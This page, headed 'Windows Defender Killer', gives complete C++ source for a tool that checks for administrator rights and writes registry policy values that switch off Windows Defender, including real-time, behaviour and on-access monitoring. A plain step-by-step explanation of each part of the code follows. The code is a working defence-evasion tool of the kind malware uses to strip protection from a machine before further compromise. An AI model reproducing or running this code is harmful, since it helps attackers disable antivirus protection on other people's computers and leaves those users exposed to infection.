

# Windows Defender Killer

## C++ Code

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#include <windows.h>
#include <stdio.h>
#include <iostream>

using namespace std;

bool isUserAdmin() {
    BOOL isAdmin = FALSE;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;

    if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {
        return false;
    }
    if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {
        FreeSid(AdministratorsGroup);
        return false;
    }
    FreeSid(AdministratorsGroup);
    return isAdmin != FALSE;
}

// disable defender via registry
int main(int argc, char* argv[]) {
    HKEY key;
    HKEY new_key;
    DWORD disable = 1;

    if (!isUserAdmin()) {
        cout << "please run this program as administrator." << endl;
        return -1;
    }

    LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\Windows Defender", 0, KEY_ALL_ACCESS, &key);
    if (res == ERROR_SUCCESS) {
        RegSetValueEx(key, "DisableAntiSpyware", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
        RegCreateKeyEx(key, "Real-Time Protection", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &new_key, 0);
        RegSetValueEx(new_key, "DisableRealtimeMonitoring", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
        RegSetValueEx(new_key, "DisableBehaviorMonitoring", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
        RegSetValueEx(new_key, "DisableScanOnRealtimeEnable", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
        RegSetValueEx(new_key, "DisableOnAccessProtection", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
        RegSetValueEx(new_key, "DisableIOAVProtection", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
        RegCloseKey(key);
        RegCloseKey(new_key);
    }

    cout << "Windows Defender has been disabled." << endl;
    cout << "Please restart your computer to take effect." << endl;
    getchar();
    return 0;
}
```

This C++ code appears to be a program designed to disable Windows Defender, the built-in antivirus and antimalware tool in Windows. Let's break down the code step by step:

### 1. Includes:

- `#include <windows.h>`: This header file includes various Windows API functions and data types required for system-level programming.
- `#include <stdio.h>`: This header file provides input and output functions.
- `#include <iostream>`: This header file provides input and output stream functionality.

### 2. isUserAdmin Function:

- This function checks if the current user is an administrator.
- It uses Windows security functions to determine if the user belongs to the Administrators group.
- It initializes a security identifier (SID) for the Administrators group and checks if the user's token (security context) is a member of this group.
- If the user is an administrator, it returns true; otherwise, it returns false.

### 3. main Function:

- The main function is the entry point of the program.
- It first checks if the current user is an administrator by calling the `isUserAdmin` function. If not, it displays a message and exits.
- It then attempts to modify the Windows Defender settings in the Windows Registry.
- It uses the `RegOpenKeyEx` function to open the registry key associated with Windows Defender settings.
- If it successfully opens the key, it proceeds to set several registry values to disable various Windows Defender features. These values are used to control real-time protection and other behaviors.
- Finally, it displays a message indicating that Windows Defender has been disabled and suggests restarting the computer for the changes to take effect.